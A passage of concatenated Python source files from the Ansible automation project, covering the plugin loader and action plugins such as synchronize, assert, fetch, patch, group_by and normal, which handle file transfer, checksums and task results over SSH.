                    self._plugin_path_cache[''][base_name] = full_path

                if full_name not in self._plugin_path_cache['']:
                    self._plugin_path_cache[''][full_name] = full_path

                if base_name not in self._plugin_path_cache[extension]:
                    self._plugin_path_cache[extension][base_name] = full_path

                if full_name not in self._plugin_path_cache[extension]:
                    self._plugin_path_cache[extension][full_name] = full_path

            self._searched_paths.add(path)
            try:
                return pull_cache[name]
            except KeyError:
                # Didn't find the plugin in this directory.  Load modules from
                # the next one
                pass

        # if nothing is found, try finding alias/deprecated
        if not name.startswith('_'):
            alias_name = '_' + name
            # We've already cached all the paths at this point
            if alias_name in pull_cache:
                if not os.path.islink(pull_cache[alias_name]):
                    display.deprecated('%s is kept for backwards compatibility '
                              'but usage is discouraged. The module '
                              'documentation details page may explain '
                              'more about this rationale.' %
                              name.lstrip('_'))
                return pull_cache[alias_name]

        return None

    def has_plugin(self, name):
        ''' Checks if a plugin named name exists '''

        return self.find_plugin(name) is not None

    __contains__ = has_plugin

    def _load_module_source(self, name, path):
        if name in sys.modules:
            # See https://github.com/ansible/ansible/issues/13110
            return sys.modules[name]
        with warnings.catch_warnings():
            warnings.simplefilter("ignore", RuntimeWarning)
            with open(path, 'r') as module_file:
                module = imp.load_source(name, path, module_file)
        return module

    def get(self, name, *args, **kwargs):
        ''' instantiates a plugin of the given name using arguments '''

        found_in_cache = True
        class_only = kwargs.pop('class_only', False)
        if name in self.aliases:
            name = self.aliases[name]
        path = self.find_plugin(name)
        if path is None:
            return None

        if path not in self._module_cache:
            self._module_cache[path] = self._load_module_source('.'.join([self.package, name]), path)
            found_in_cache = False

        obj = getattr(self._module_cache[path], self.class_name)
        if self.base_class:
            # The import path is hardcoded and should be the right place,
            # so we are not expecting an ImportError.
            module = __import__(self.package, fromlist=[self.base_class])
            # Check whether this obj has the required base class.
            try:
                plugin_class = getattr(module, self.base_class)
            except AttributeError:
                return None
            if not issubclass(obj, plugin_class):
                return None

        self._display_plugin_load(self.class_name, name, self._searched_paths, path,
                                  found_in_cache=found_in_cache, class_only=class_only)
        if not class_only:
            obj = obj(*args, **kwargs)

        return obj

    def _display_plugin_load(self, class_name, name, searched_paths, path, found_in_cache=None, class_only=None):
        searched_msg = 'Searching for plugin type %s named \'%s\' in paths: %s' % (class_name, name, self.format_paths(searched_paths))
        loading_msg = 'Loading plugin type %s named \'%s\' from %s' % (class_name, name, path)

        if found_in_cache or class_only:
            extra_msg = 'found_in_cache=%s, class_only=%s' % (found_in_cache, class_only)
            display.debug('%s %s' % (searched_msg, extra_msg))
            display.debug('%s %s' % (loading_msg, extra_msg))
        else:
            display.vvvv(searched_msg)
            display.vvv(loading_msg)

    def all(self, *args, **kwargs):
        ''' instantiates all plugins with the same arguments '''

        class_only = kwargs.pop('class_only', False)
        all_matches = []
        found_in_cache = True

        for i in self._get_paths():
            all_matches.extend(glob.glob(os.path.join(i, "*.py")))

        for path in sorted(all_matches, key=lambda match: os.path.basename(match)):
            name, _ = os.path.splitext(path)
            if '__init__' in name:
                continue

            if path not in self._module_cache:
                self._module_cache[path] = self._load_module_source(name, path)
                found_in_cache = False

            try:
                obj = getattr(self._module_cache[path], self.class_name)
            except AttributeError as e:
                display.warning("Skipping plugin (%s) as it seems to be invalid: %s" % (path, to_unicode(e)))
                continue

            if self.base_class:
                # The import path is hardcoded and should be the right place,
                # so we are not expecting an ImportError.
                module = __import__(self.package, fromlist=[self.base_class])
                # Check whether this obj has the required base class.
                try:
                   plugin_class = getattr(module, self.base_class)
                except AttributeError:
                   continue
                if not issubclass(obj, plugin_class):
                   continue

            self._display_plugin_load(self.class_name, name, self._searched_paths, path,
                                      found_in_cache=found_in_cache, class_only=class_only)
            if not class_only:
                obj = obj(*args, **kwargs)

            # set extra info on the module, in case we want it later
            setattr(obj, '_original_path', path)
            yield obj

action_loader = PluginLoader(
    'ActionModule',
    'ansible.plugins.action',
    C.DEFAULT_ACTION_PLUGIN_PATH,
    'action_plugins',
    required_base_class='ActionBase',
)

cache_loader = PluginLoader(
    'CacheModule',
    'ansible.plugins.cache',
    C.DEFAULT_CACHE_PLUGIN_PATH,
    'cache_plugins',
)

callback_loader = PluginLoader(
    'CallbackModule',
    'ansible.plugins.callback',
    C.DEFAULT_CALLBACK_PLUGIN_PATH,
    'callback_plugins',
)

connection_loader = PluginLoader(
    'Connection',
    'ansible.plugins.connection',
    C.DEFAULT_CONNECTION_PLUGIN_PATH,
    'connection_plugins',
    aliases={'paramiko': 'paramiko_ssh'},
    required_base_class='ConnectionBase',
)

shell_loader = PluginLoader(
    'ShellModule',
    'ansible.plugins.shell',
    'shell_plugins',
    'shell_plugins',
)

module_loader = PluginLoader(
    '',
    'ansible.modules',
    C.DEFAULT_MODULE_PATH,
    'library',
)

lookup_loader = PluginLoader(
    'LookupModule',
    'ansible.plugins.lookup',
    C.DEFAULT_LOOKUP_PLUGIN_PATH,
    'lookup_plugins',
    required_base_class='LookupBase',
)

vars_loader = PluginLoader(
    'VarsModule',
    'ansible.plugins.vars',
    C.DEFAULT_VARS_PLUGIN_PATH,
    'vars_plugins',
)

filter_loader = PluginLoader(
    'FilterModule',
    'ansible.plugins.filter',
    C.DEFAULT_FILTER_PLUGIN_PATH,
    'filter_plugins',
)

test_loader = PluginLoader(
    'TestModule',
    'ansible.plugins.test',
    C.DEFAULT_TEST_PLUGIN_PATH,
    'test_plugins'
)

fragment_loader = PluginLoader(
    'ModuleDocFragment',
    'ansible.utils.module_docs_fragments',
    os.path.join(os.path.dirname(__file__), 'module_docs_fragments'),
    '',
)

strategy_loader = PluginLoader(
    'StrategyModule',
    'ansible.plugins.strategy',
    C.DEFAULT_STRATEGY_PLUGIN_PATH,
    'strategy_plugins',
    required_base_class='StrategyBase',
)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







#!/usr/bin/python
# -*- coding: utf-8 -*-

# (c) 2012-2013, Timothy Appnel <tim@appnel.com>
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os.path

from ansible.playbook.play_context import MAGIC_VARIABLE_MAPPING
from ansible.plugins.action import ActionBase
from ansible.plugins import connection_loader
from ansible.utils.boolean import boolean
from ansible import constants as C


class ActionModule(ActionBase):

    def _get_absolute_path(self, path):
        original_path = path

        if self._task._role is not None:
            path = self._loader.path_dwim_relative(self._task._role._role_path, 'files', path)
        else:
            path = self._loader.path_dwim_relative(self._loader.get_basedir(), 'files', path)

        if original_path and original_path[-1] == '/' and path[-1] != '/':
            # make sure the dwim'd path ends in a trailing "/"
            # if the original path did
            path += '/'

        return path

    def _host_is_ipv6_address(self, host):
        return ':' in host

    def _format_rsync_rsh_target(self, host, path, user):
        ''' formats rsync rsh target, escaping ipv6 addresses if needed '''

        user_prefix = ''

        if path.startswith('rsync://'):
            return path

        if user:
            user_prefix = '%s@' % (user, )

        if self._host_is_ipv6_address(host):
            return '[%s%s]:%s' % (user_prefix, host, path)
        else:
            return '%s%s:%s' % (user_prefix, host, path)

    def _process_origin(self, host, path, user):

        if host not in C.LOCALHOST:
            return self._format_rsync_rsh_target(host, path, user)

        if ':' not in path and not path.startswith('/'):
            path = self._get_absolute_path(path=path)
        return path

    def _process_remote(self, host, path, user, port_matches_localhost_port):
        """
        :arg host: hostname for the path
        :arg path: file path
        :arg user: username for the transfer
        :arg port_matches_localhost_port: boolean whether the remote port
            matches the port used by localhost's sshd.  This is used in
            conjunction with seeing whether the host is localhost to know
            if we need to have the module substitute the pathname or if it
            is a different host (for instance, an ssh tunnelled port or an
            alternative ssh port to a vagrant host.)
        """
        transport = self._connection.transport
        # If we're connecting to a remote host or we're delegating to another
        # host or we're connecting to a different ssh instance on the
        # localhost then we have to format the path as a remote rsync path
        if host not in C.LOCALHOST or transport != "local" or \
                (host in C.LOCALHOST and not port_matches_localhost_port):
            # If we're delegating to non-localhost and but the
            # inventory_hostname host is localhost then we need the module to
            # fix up the rsync path to use the controller's public DNS/IP
            # instead of "localhost"
            if port_matches_localhost_port and host in C.LOCALHOST:
                self._task.args['_substitute_controller'] = True
            return self._format_rsync_rsh_target(host, path, user)

        if ':' not in path and not path.startswith('/'):
            path = self._get_absolute_path(path=path)
        return path

    def _override_module_replaced_vars(self, task_vars):
        """ Some vars are substituted into the modules.  Have to make sure
        that those are correct for localhost when synchronize creates its own
        connection to localhost."""

        # Clear the current definition of these variables as they came from the
        # connection to the remote host
        if 'ansible_syslog_facility' in task_vars:
            del task_vars['ansible_syslog_facility']
        for key in task_vars.keys():
            if key.startswith("ansible_") and key.endswith("_interpreter"):
                del task_vars[key]

        # Add the definitions from localhost
        for host in C.LOCALHOST:
            if host in task_vars['hostvars']:
                localhost = task_vars['hostvars'][host]
                break
        if 'ansible_syslog_facility' in localhost:
            task_vars['ansible_syslog_facility'] = localhost['ansible_syslog_facility']
        for key in localhost:
            if key.startswith("ansible_") and key.endswith("_interpreter"):
                task_vars[key] = localhost[key]

    def run(self, tmp=None, task_vars=None):
        ''' generates params and passes them on to the rsync module '''
        # When modifying this function be aware of the tricky convolutions
        # your thoughts have to go through:
        #
        # In normal ansible, we connect from controller to inventory_hostname
        # (playbook's hosts: field) or controller to delegate_to host and run
        # a module on one of those hosts.
        #
        # So things that are directly related to the core of ansible are in
        # terms of that sort of connection that always originate on the
        # controller.
        #
        # In synchronize we use ansible to connect to either the controller or
        # to the delegate_to host and then run rsync which makes its own
        # connection from controller to inventory_hostname or delegate_to to
        # inventory_hostname.
        #
        # That means synchronize needs to have some knowledge of the
        # controller to inventory_host/delegate host that ansible typically
        # establishes and use those to construct a command line for rsync to
        # connect from the inventory_host to the controller/delegate.  The
        # challenge for coders is remembering which leg of the trip is
        # associated with the conditions that you're checking at any one time.
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        # self._connection accounts for delegate_to so
        # remote_transport is the transport ansible thought it would need
        # between the controller and the delegate_to host or the controller
        # and the remote_host if delegate_to isn't set.

        remote_transport = False
        if self._connection.transport != 'local':
            remote_transport = True

        try:
            delegate_to = self._task.delegate_to
        except (AttributeError, KeyError):
            delegate_to = None

        # ssh paramiko and local are fully supported transports.  Anything
        # else only works with delegate_to
        if delegate_to is None and self._connection.transport not in ('ssh', 'paramiko', 'local'):
            result['failed'] = True
            result['msg'] = "synchronize uses rsync to function. rsync needs to connect to the remote host via ssh or a direct filesystem copy. This remote host is being accessed via %s instead so it cannot work." % self._connection.transport
            return result

        use_ssh_args = self._task.args.pop('use_ssh_args', None)

        # Parameter name needed by the ansible module
        self._task.args['_local_rsync_path'] = task_vars.get('ansible_rsync_path') or 'rsync'

        # rsync thinks that one end of the connection is localhost and the
        # other is the host we're running the task for  (Note: We use
        # ansible's delegate_to mechanism to determine which host rsync is
        # running on so localhost could be a non-controller machine if
        # delegate_to is used)
        src_host = '127.0.0.1'
        inventory_hostname = task_vars.get('inventory_hostname')
        dest_host_inventory_vars = task_vars['hostvars'].get(inventory_hostname)
        try:
            dest_host = dest_host_inventory_vars['ansible_host']
        except KeyError:
            dest_host = dest_host_inventory_vars.get('ansible_ssh_host', inventory_hostname)

        localhost_ports = set()
        for host in C.LOCALHOST:
            localhost_vars = task_vars['hostvars'].get(host, {})
            for port_var in MAGIC_VARIABLE_MAPPING['port']:
                port = localhost_vars.get(port_var, None)
                if port:
                    break
            else:
                port = C.DEFAULT_REMOTE_PORT
            localhost_ports.add(port)

        # dest_is_local tells us if the host rsync runs on is the same as the
        # host rsync puts the files on.  This is about *rsync's connection*,
        # not about the ansible connection to run the module.
        dest_is_local = False
        if not delegate_to and remote_transport is False:
            dest_is_local = True
        elif delegate_to and delegate_to == dest_host:
            dest_is_local = True

        # CHECK FOR NON-DEFAULT SSH PORT
        inv_port = task_vars.get('ansible_ssh_port', None) or C.DEFAULT_REMOTE_PORT
        if self._task.args.get('dest_port', None) is None:
            if inv_port is not None:
                self._task.args['dest_port'] = inv_port

        # Set use_delegate if we are going to run rsync on a delegated host
        # instead of localhost
        use_delegate = False
        if dest_host == delegate_to:
            # edge case: explicit delegate and dest_host are the same
            # so we run rsync on the remote machine targeting its localhost
            # (itself)
            dest_host = '127.0.0.1'
            use_delegate = True
        elif delegate_to is not None and remote_transport:
            # If we're delegating to a remote host then we need to use the
            # delegate_to settings
            use_delegate = True

        # Delegate to localhost as the source of the rsync unless we've been
        # told (via delegate_to) that a different host is the source of the
        # rsync
        if not use_delegate and remote_transport:
            # Create a connection to localhost to run rsync on
            new_stdin = self._connection._new_stdin

            # Unike port, there can be only one shell
            localhost_shell = None
            for host in C.LOCALHOST:
                localhost_vars = task_vars['hostvars'].get(host, {})
                for shell_var in MAGIC_VARIABLE_MAPPING['shell']:
                    localhost_shell = localhost_vars.get(shell_var, None)
                    if localhost_shell:
                        break
                if localhost_shell:
                    break
            else:
                localhost_shell = os.path.basename(C.DEFAULT_EXECUTABLE)
            self._play_context.shell = localhost_shell

            new_connection = connection_loader.get('local', self._play_context, new_stdin)
            self._connection = new_connection
            self._override_module_replaced_vars(task_vars)

        # SWITCH SRC AND DEST HOST PER MODE
        if self._task.args.get('mode', 'push') == 'pull':
            (dest_host, src_host) = (src_host, dest_host)

        # MUNGE SRC AND DEST PER REMOTE_HOST INFO
        src = self._task.args.get('src', None)
        dest = self._task.args.get('dest', None)
        if src is None or dest is None:
            return dict(failed=True,
                    msg="synchronize requires both src and dest parameters are set")

        if not dest_is_local:
            # Private key handling
            private_key = self._play_context.private_key_file

            if private_key is not None:
                private_key = os.path.expanduser(private_key)
                self._task.args['private_key'] = private_key

            # Src and dest rsync "path" handling
            # Determine if we need a user@
            user = None
            if boolean(self._task.args.get('set_remote_user', 'yes')):
                if use_delegate:
                    user = task_vars.get('ansible_delegated_vars', dict()).get('ansible_ssh_user', None)
                    if not user:
                        user = C.DEFAULT_REMOTE_USER

                else:
                    user = task_vars.get('ansible_ssh_user') or self._play_context.remote_user

            # use the mode to define src and dest's url
            if self._task.args.get('mode', 'push') == 'pull':
                # src is a remote path: <user>@<host>, dest is a local path
                src = self._process_remote(src_host, src, user, inv_port in localhost_ports)
                dest = self._process_origin(dest_host, dest, user)
            else:
                # src is a local path, dest is a remote path: <user>@<host>
                src = self._process_origin(src_host, src, user)
                dest = self._process_remote(dest_host, dest, user, inv_port in localhost_ports)
        else:
            # Still need to munge paths (to account for roles) even if we aren't
            # copying files between hosts
            if not src.startswith('/'):
                src = self._get_absolute_path(path=src)
            if not dest.startswith('/'):
                dest = self._get_absolute_path(path=dest)

        self._task.args['src'] = src
        self._task.args['dest'] = dest

        # Allow custom rsync path argument
        rsync_path = self._task.args.get('rsync_path', None)

        if not dest_is_local:
            if self._play_context.become and not rsync_path:
                # If no rsync_path is set, become was originally set, and dest is
                # remote then add privilege escalation here.
                if self._play_context.become_method == 'sudo':
                    rsync_path = 'sudo rsync'
                # TODO: have to add in the rest of the become methods here

            # We cannot use privilege escalation on the machine running the
            # module.  Instead we run it on the machine rsync is connecting
            # to.
            self._play_context.become = False

        # make sure rsync path is quoted.
        if rsync_path:
            self._task.args['rsync_path'] = '"%s"' % rsync_path

        if use_ssh_args:
            ssh_args = [
                getattr(self._play_context, 'ssh_args', ''),
                getattr(self._play_context, 'ssh_common_args', ''),
                getattr(self._play_context, 'ssh_extra_args', ''),
            ]
            self._task.args['ssh_args'] = ' '.join([a for a in ssh_args if a])

        # run the module and store the result
        result.update(self._execute_module('synchronize', task_vars=task_vars))

        if 'SyntaxError' in result.get('exception', result.get('msg', '')):
            # Emit a warning about using python3 because synchronize is
            # somewhat unique in running on localhost
            result['exception'] = result['msg']
            result['msg'] = 'SyntaxError parsing module.  Perhaps invoking "python" on your local (or delegate_to) machine invokes python3.  You can set ansible_python_interpreter for localhost (or the delegate_to machine) to the location of python2 to fix this'
        return result






# Copyright 2012, Dag Wieers <dag@wieers.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.errors import AnsibleError
from ansible.playbook.conditional import Conditional
from ansible.plugins.action import ActionBase


class ActionModule(ActionBase):
    ''' Fail with custom message '''

    TRANSFERS_FILES = False

    def run(self, tmp=None, task_vars=None):
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        if 'that' not in self._task.args:
            raise AnsibleError('conditional required in "that" string')

        msg = None
        if 'msg' in self._task.args:
            msg = self._task.args['msg']

        # make sure the 'that' items are a list
        thats = self._task.args['that']
        if not isinstance(thats, list):
            thats = [thats]

        # Now we iterate over the that items, temporarily assigning them
        # to the task's when value so we can evaluate the conditional using
        # the built in evaluate function. The when has already been evaluated
        # by this point, and is not used again, so we don't care about mangling
        # that value now
        cond = Conditional(loader=self._loader)
        for that in thats:
            cond.when = [that]
            test_result = cond.evaluate_conditional(templar=self._templar, all_vars=task_vars)
            if not test_result:
                result['failed'] = True
                result['evaluated_to'] = test_result
                result['assertion'] = that

                if msg:
                    result['msg'] = msg

                return result

        result['changed'] = False
        result['msg'] = 'all assertions passed'
        return result






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import base64

from ansible.errors import AnsibleError
from ansible.plugins.action import ActionBase
from ansible.utils.boolean import boolean
from ansible.utils.hashing import checksum, checksum_s, md5, secure_hash
from ansible.utils.path import makedirs_safe
from ansible.utils.unicode import to_bytes


class ActionModule(ActionBase):

    def run(self, tmp=None, task_vars=None):
        ''' handler for fetch operations '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        if self._play_context.check_mode:
            result['skipped'] = True
            result['msg'] = 'check mode not (yet) supported for this module'
            return result

        source            = self._task.args.get('src', None)
        dest              = self._task.args.get('dest', None)
        flat              = boolean(self._task.args.get('flat'))
        fail_on_missing   = boolean(self._task.args.get('fail_on_missing'))
        validate_checksum = boolean(self._task.args.get('validate_checksum', self._task.args.get('validate_md5')))

        if 'validate_md5' in self._task.args and 'validate_checksum' in self._task.args:
            result['failed'] = True
            result['msg'] = "validate_checksum and validate_md5 cannot both be specified"
            return result

        if source is None or dest is None:
            result['failed'] = True
            result['msg'] = "src and dest are required"
            return result

        source = self._connection._shell.join_path(source)
        source = self._remote_expand_user(source)

        remote_checksum = None
        if not self._play_context.become:
            # calculate checksum for the remote file, don't bother if using become as slurp will be used
            remote_checksum = self._remote_checksum(source, all_vars=task_vars)

        # use slurp if permissions are lacking or privilege escalation is needed
        remote_data = None
        if remote_checksum in ('1', '2', None):
            slurpres = self._execute_module(module_name='slurp', module_args=dict(src=source), task_vars=task_vars, tmp=tmp)
            if slurpres.get('failed'):
                if not fail_on_missing and (slurpres.get('msg').startswith('file not found') or remote_checksum == '1'):
                    result['msg'] = "the remote file does not exist, not transferring, ignored"
                    result['file'] = source
                    result['changed'] = False
                else:
                    result.update(slurpres)
                return result
            else:
                if slurpres['encoding'] == 'base64':
                    remote_data = base64.b64decode(slurpres['content'])
                if remote_data is not None:
                    remote_checksum = checksum_s(remote_data)
                # the source path may have been expanded on the
                # target system, so we compare it here and use the
                # expanded version if it's different
                remote_source = slurpres.get('source')
                if remote_source and remote_source != source:
                    source = remote_source

        # calculate the destination name
        if os.path.sep not in self._connection._shell.join_path('a', ''):
            source = self._connection._shell._unquote(source)
            source_local = source.replace('\\', '/')
        else:
            source_local = source

        dest = os.path.expanduser(dest)
        if flat:
            if dest.endswith(os.sep):
                # if the path ends with "/", we'll use the source filename as the
                # destination filename
                base = os.path.basename(source_local)
                dest = os.path.join(dest, base)
            if not dest.startswith("/"):
                # if dest does not start with "/", we'll assume a relative path
                dest = self._loader.path_dwim(dest)
        else:
            # files are saved in dest dir, with a subdir for each host, then the filename
            if 'inventory_hostname' in task_vars:
                target_name = task_vars['inventory_hostname']
            else:
                target_name = self._play_context.remote_addr
            dest = "%s/%s/%s" % (self._loader.path_dwim(dest), target_name, source_local)

        dest = dest.replace("//","/")

        if remote_checksum in ('0', '1', '2', '3', '4'):
            # these don't fail because you may want to transfer a log file that
            # possibly MAY exist but keep going to fetch other log files
            if remote_checksum == '0':
                result['msg'] = "unable to calculate the checksum of the remote file"
                result['file'] = source
                result['changed'] = False
            elif remote_checksum == '1':
                if fail_on_missing:
                    result['failed'] = True
                    result['msg'] = "the remote file does not exist"
                    result['file'] = source
                else:
                    result['msg'] = "the remote file does not exist, not transferring, ignored"
                    result['file'] = source
                    result['changed'] = False
            elif remote_checksum == '2':
                result['msg'] = "no read permission on remote file, not transferring, ignored"
                result['file'] = source
                result['changed'] = False
            elif remote_checksum == '3':
                result['msg'] = "remote file is a directory, fetch cannot work on directories"
                result['file'] = source
                result['changed'] = False
            elif remote_checksum == '4':
                result['msg'] = "python isn't present on the system.  Unable to compute checksum"
                result['file'] = source
                result['changed'] = False
            return result

        # calculate checksum for the local file
        local_checksum = checksum(dest)

        if remote_checksum != local_checksum:
            # create the containing directories, if needed
            makedirs_safe(os.path.dirname(dest))

            # fetch the file and check for changes
            if remote_data is None:
                self._connection.fetch_file(source, dest)
            else:
                try:
                    f = open(to_bytes(dest, errors='strict'), 'w')
                    f.write(remote_data)
                    f.close()
                except (IOError, OSError) as e:
                    raise AnsibleError("Failed to fetch the file: %s" % e)
            new_checksum = secure_hash(dest)
            # For backwards compatibility. We'll return None on FIPS enabled systems
            try:
                new_md5 = md5(dest)
            except ValueError:
                new_md5 = None

            if validate_checksum and new_checksum != remote_checksum:
                result.update(dict(failed=True, md5sum=new_md5,
                    msg="checksum mismatch", file=source, dest=dest, remote_md5sum=None,
                    checksum=new_checksum, remote_checksum=remote_checksum))
            else:
                result.update(dict(changed=True, md5sum=new_md5, dest=dest, remote_md5sum=None, checksum=new_checksum, remote_checksum=remote_checksum))
        else:
            # For backwards compatibility. We'll return None on FIPS enabled systems
            try:
                local_md5 = md5(dest)
            except ValueError:
                local_md5 = None
            result.update(dict(changed=False, md5sum=local_md5, file=source, dest=dest, checksum=local_checksum))

        return result






# (c) 2015, Brian Coca  <briancoca+dev@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.plugins.action import ActionBase
from ansible.utils.boolean import boolean
from ansible.errors import AnsibleError
from ansible.utils.unicode import to_str


class ActionModule(ActionBase):

    def run(self, tmp=None, task_vars=None):
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        src        = self._task.args.get('src', None)
        remote_src = boolean(self._task.args.get('remote_src', 'no'))
        remote_user = task_vars.get('ansible_ssh_user') or self._play_context.remote_user

        if src is None:
            result['failed'] = True
            result['msg'] = "src is required"
            return result
        elif remote_src:
            # everything is remote, so we just execute the module
            # without changing any of the module arguments
            result.update(self._execute_module(task_vars=task_vars))
            return result

        try:
            src = self._find_needle('files', src)
        except AnsibleError as e:
            result['failed'] = True
            result['msg'] = to_str(e)
            return result

        # create the remote tmp dir if needed, and put the source file there
        if tmp is None or "-tmp-" not in tmp:
            tmp = self._make_tmp_path(remote_user)
            self._cleanup_remote_tmp = True

        tmp_src = self._connection._shell.join_path(tmp, os.path.basename(src))
        self._transfer_file(src, tmp_src)

        self._fixup_perms((tmp, tmp_src), remote_user)

        new_module_args = self._task.args.copy()
        new_module_args.update(
            dict(
                src=tmp_src,
            )
        )

        result.update(self._execute_module('patch', module_args=new_module_args, task_vars=task_vars))
        self._remove_tmp_path(tmp)
        return result






#
# Copyright 2015 Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.plugins.action.net_template import ActionModule as NetActionModule

class ActionModule(NetActionModule, ActionBase):
    pass








# Copyright 2012, Jeroen Hoekx <jeroen@hoekx.be>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase


class ActionModule(ActionBase):
    ''' Create inventory groups based on variables '''

    ### We need to be able to modify the inventory
    TRANSFERS_FILES = False

    def run(self, tmp=None, task_vars=None):
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        if 'key' not in self._task.args:
            result['failed'] = True
            result['msg'] = "the 'key' param is required when using group_by"
            return result

        group_name = self._task.args.get('key')
        group_name = group_name.replace(' ','-')

        result['changed'] = False
        result['add_group'] = group_name
        return result






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.utils.vars import merge_hash


class ActionModule(ActionBase):

    def run(self, tmp=None, task_vars=None):
        if task_vars is None:
            task_vars = dict()

        results = super(ActionModule, self).run(tmp, task_vars)
        # remove as modules might hide due to nolog
        del results['invocation']['module_args']
        results = merge_hash(results, self._execute_module(tmp=tmp, task_vars=task_vars))
        # Remove special fields from the result, which can only be set
        # internally by the executor engine. We do this only here in
        # the 'normal' action, as other action plugins may set this.
        #
        # We don't want modules to determine that running the module fires
        # notify handlers.  That's for the playbook to decide.
        for field in ('_ansible_notify',):
            if field in results:
                results.pop(field)

        return results






# (c) 2015, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import datetime
import os
import pwd
import time

from ansible import constants as C
from ansible.plugins.action import ActionBase
from ansible.utils.hashing import checksum_s
from ansible.utils.boolean import boolean
from ansible.utils.unicode import to_bytes, to_unicode, to_str
from ansible.errors import AnsibleError



class ActionModule(ActionBase):

    TRANSFERS_FILES = True

